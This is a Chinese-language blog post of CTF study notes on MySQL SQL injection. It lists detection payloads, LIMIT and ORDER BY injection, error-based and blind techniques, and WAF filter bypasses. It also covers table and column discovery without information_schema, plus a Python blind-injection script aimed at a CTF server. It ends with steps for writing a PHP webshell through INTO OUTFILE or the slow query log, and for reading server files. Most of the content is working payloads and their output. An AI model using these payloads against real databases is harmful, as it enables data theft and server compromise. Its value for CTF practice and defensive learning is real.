这两天做了不少sql注入的题,遇到不知道的知识点真的是想到死都想不出来,还得依靠大佬和谷歌(笑)
有空了来做个总结,按照SQL注入的顺序
检测是否存在注入点
正常的查询或者insert语句
检测的方法有许多,例如检测是否有报错,联合查询的结果能不能回显,能否进行延时,能否堆叠注入等
?id=1'
?id=1"
?id=1')
?id=1")
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' union select 1,2,3#
?id=1' and 1=2 or '
?id=1';select sleep(5);#
特殊的查询语句与注入点
limit注入
适用语句:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]
因为order by的存在,我们无法使用union关键字,但是经过查阅mysql5.x文档的select使用语法,可以发现在limit语句后还有PROCEDURE 和 INTO 关键字
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
重点在于PROCEDURE
存储过程关键字可以执行某些函数
payload在我本地实验时并没有打通,后来百度可知该方法只适用于5.0.0<mysql<5.6.6
的版本
在这里先借用别人的执行结果
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
sleep函数无法使用,只能用benchmark延时。
例题:
order by注入
下面还有一个order by盲注
跟这个有些许不同
先说这里,这里order by注入指的是注入点在order by语句处
select id,name,price from goods order by [注入点]
在这里能用到的注入方法有布尔盲注,时间盲注和报错注入
布尔盲注
可以看到,当判断结果不同时,页面返回的结果也就不同
由此我们可以盲注处数据
同理,可以利用时间盲注
如果页面报错有回显的话,报错注入显然是个更好的选择
查询表名列名以及数据
常见,无过滤情况下的注入方法
直接闭合或者直接注入
布尔盲注
时间盲注
五种时间盲注
链接)
报错注入
基本注入方法不再赘述
新操作:
使用库中不存在的函数
使用一个不存在的函数时,会爆出库名
mysql> select 1 and sdf();
ERROR 1305 (42000): FUNCTION security.sdf does not exist
绕过过滤的骚操作
常规过滤
1.1 注释符绕过
常用注释符:
//, -- , /**/, #, --+, -- -, ;,%00,--a
U/**/NION/**/SE/**/LECT/**/user,pwd/**/from/**/user
1.2 大小写绕过
?id=1+UnIoN/**/SeLeCT
1.3 内联注释绕过
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
1.8 +,-,.号拆解字符串绕过
?id=1' or '11+11'='11+11'
"-"和"."
1.9 like绕过
?id=1'or1 like 1
绕过对“=”,“>”等的过滤
#宽字节注入
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27
#过滤and,or
&&(注意要url编码后使用%26%26,否则会被识别成分隔两个变量的字符)
||
#过滤=
可以使用<>或者like或者是in
过滤了information_schema、columns、tables、database、schema等关键字
过滤这些关键字时我们一般无法通过常用方法获取表名,列名
先是用骚操作获取表名的方法:
以下大部分特殊数据库都是在mysql5.7
以后的版本才有
innodb
如果数据库的数据表的引擎为innodb,则会在mysql.innodb_table_stats
和
mysql.innodb_index_stats
中记录表的信息
sys数据库
里面存储整合了整个数据库的许多资料,资料用处暂且不提,从中我们可以获取大部分数据库名和表名
例如:sys.schema_table_statistics_with_buffer
存储了所有数据库的表名
还有:sys.schema_object_overview
存储了所有数据库名
更有趣的:statement_analysis
记录了我们执行过的所有语句
说不定能直接看到flag(笑)
通过上述操作,一般能获取到表名
然后是获取列名:
通过join报错获取列名
先介绍下join的作用机理:
如果现在有两个表stu和class
我们执行stu join class
后,结果为:
通过上面的例子总结一下:
- join后的列名是两个表列名加起来的,可能会产生相同的列名,如id 和 name
- 先用表stu中的一行数据和表class中的每一行数据不断的拼接,产生新的行
- 再用表stu的第二行去和表class中的每一行数据拼接,以此类推
- 表stu是3行,表class是2行,所以按照上面的规律会产成3*2 = 6行的新的表
然后再来看下别名
使用别名时,表中不能出现同的字段名,这就跟join第一个特点相冲突,所以在join和别名同时使用时会导致报错
mysql> select * from (select * from users join users as a) as b;
ERROR 1060 (42S21): Duplicate column name 'id'
使用using可以爆其他字段
mysql> select * from (select * from users join users as b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
使用子查询绕过列名
我们可以在不知道列名的情况下查询出数据
即用子查询把列名覆盖掉(得先测出这个表有多少列)
mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
14 rows in set (0.00 sec)
这样我们就可以用自己构造的列名查询数据了
mysql> select a.3 from (select 1,2,3 union select * from users) as a;
+------------+
| 3 |
+------------+
| 3 |
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------+
14 rows in set (0.00 sec)
也可以这样:
mysql> select `3` from (select 1,2,3 union select * from users) as a;
+------------+
| 3 |
+------------+
| 3 |
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------+
14 rows in set (0.00 sec)
生僻函数报错出表名
mysql> select * from users where id=1 and Polygon(id);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`id`' value found during parsing
/*同理,还有
linestring()
multiPolygon(id)
multilinestring(id)
GeometryCollection(id)
MultiPoint(id)
*/
使用order by 盲注
如果注入的时候没有报错,我们又不知道列名,就只能用order by 盲注了
当然,在过滤了括号的时候,order by盲注也是个很好的办法
order by 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),其排序比较字符的ascii码大小,从第一位开始比较,第一位相同时比较下一位。
例如,我们按照第三列进行排序
mysql> select 1,2,'A' union select * from users order by 3;
+----+----------+------------+
| 1 | 2 | A |
+----+----------+------------+
| 1 | 2 | A |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
14 rows in set (0.00 sec)
mysql> select 1,2,'b' union select * from users order by 3;
+----+----------+------------+
| 1 | 2 | b |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 1 | 2 | b |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
14 rows in set (0.00 sec)
我们可以根据这个特点进行盲注
例如iscc2019的一道题,网页只显示第二列的数据
我们就可以使用order by盲注一位一位的测出数据
例如:
mysql> select * from users where username='Dumb' union select 1,2,'D' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | D |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where username='Dumb' union select 1,2,'Du' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Du |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where username='Dumb' union select 1,2,'Dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | Dv |
+----+----------+----------+
2 rows in set (0.00 sec)
在查询到Dv
时出现了变化,网页上的内容也改变了,于是,我们就可以知道password的第二位为v的前一个字母
那个题目的脚本:
s = requests.session()
url = 'http://39.100.83.188:8054/'
data = {"username":"union_373_Tom'/*"}
headers = {"User-Agent":"Union.37 Union.373"}
flag = ''
for j in range(15)://当最后print的flag值无变化时注入完成。此值不一定为15,根据flag长度调整
for i in range(33,127)://不要使用字典
data["password"]="*/ union select 1,2,'{0}{1}' order by 3,'".format(flag,chr(i))
web = s.post(url,data=data,headers=headers)
if 'union_373_Tom' in str(web.content,encoding='utf8')://直接web.text会出现编码问题,所以没那么写
flag += chr(i-1)
print('flag:'+flag)
j+=1
break
Update,Insert语句的注入
其他类型的注入
读写文件
- 利用
into outfile
写文件 - 利用日志写文件
- 备份数据库写文件?
- 利用
load_file()
读文件 - 利用
load data infile()
读文件
写文件功能
1、需要的权限
- 目标目录要有可写权限
- 当前数据库用户要有FILE权限
- 目标文件不能已存在
- secure_file_priv的值为空
- 路径完整
secure_file_priv
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL
secure_file_priv
值查看和修改
查看:
mysql> show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set (0.00 sec)
注入的时候也可以通过全局变量
查询该值的值
select+@@GLOBAL.slow_query_log
修改:
win和linux下都是在配置文件中的[mysqld]
选项下加入secure_file_priv =
加上后再查找的效果是这样的
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
2、into outfile
写文件
语句
select "<?php phpinfo(); ?>" into outfile "/var/www/html/1.php";
如果权限配置没有问题的话,网站根目录下就会多出一个1.php,内容为我们写的代码。
3、日志写文件
mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志
我们主要利用慢查询日志来写shell,步骤大致分为三步
1)设置slow_query_log=1.即启用慢查询日志(默认禁用)。
mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name | Value |
+----------------+-------+
| slow_query_log | ON |
+----------------+-------+
1 row in set (0.00 sec)
利用堆叠注入,执行开启慢查询日志的语句
set global slow_query_log=1;
现在看一下,慢查询日志已经被开启了
mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name | Value |
+----------------+-------+
| slow_query_log | ON |
+----------------+-------+
1 row in set (0.00 sec)
2)伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='dir/filename'
mysql> show variables like '%slow_query_log%';
+---------------------+-----------------------------+
| Variable_name | Value |
+---------------------+-----------------------------+
| slow_query_log | ON |
| slow_query_log_file | /www/wwwroot/html/shell.php |
+---------------------+-----------------------------+
2 rows in set (0.00 sec)
3)向日志文件写入shell
读文件功能
1、load_file
读取文件
同样需要修改secure_file_priv
参数
shell.php中内容为123
load_file('/www/wwwroot/html/shell.php')
2、load data infile()
读文件
同样需要修改secure_file_priv
参数
load data infile '文件名' into table 表名
文件内容被读入了id这一列中
.mysql.history
不算是注入
但是跟数据库沾边
先记下来
.mysql.history里面记录了使用过的mysql命令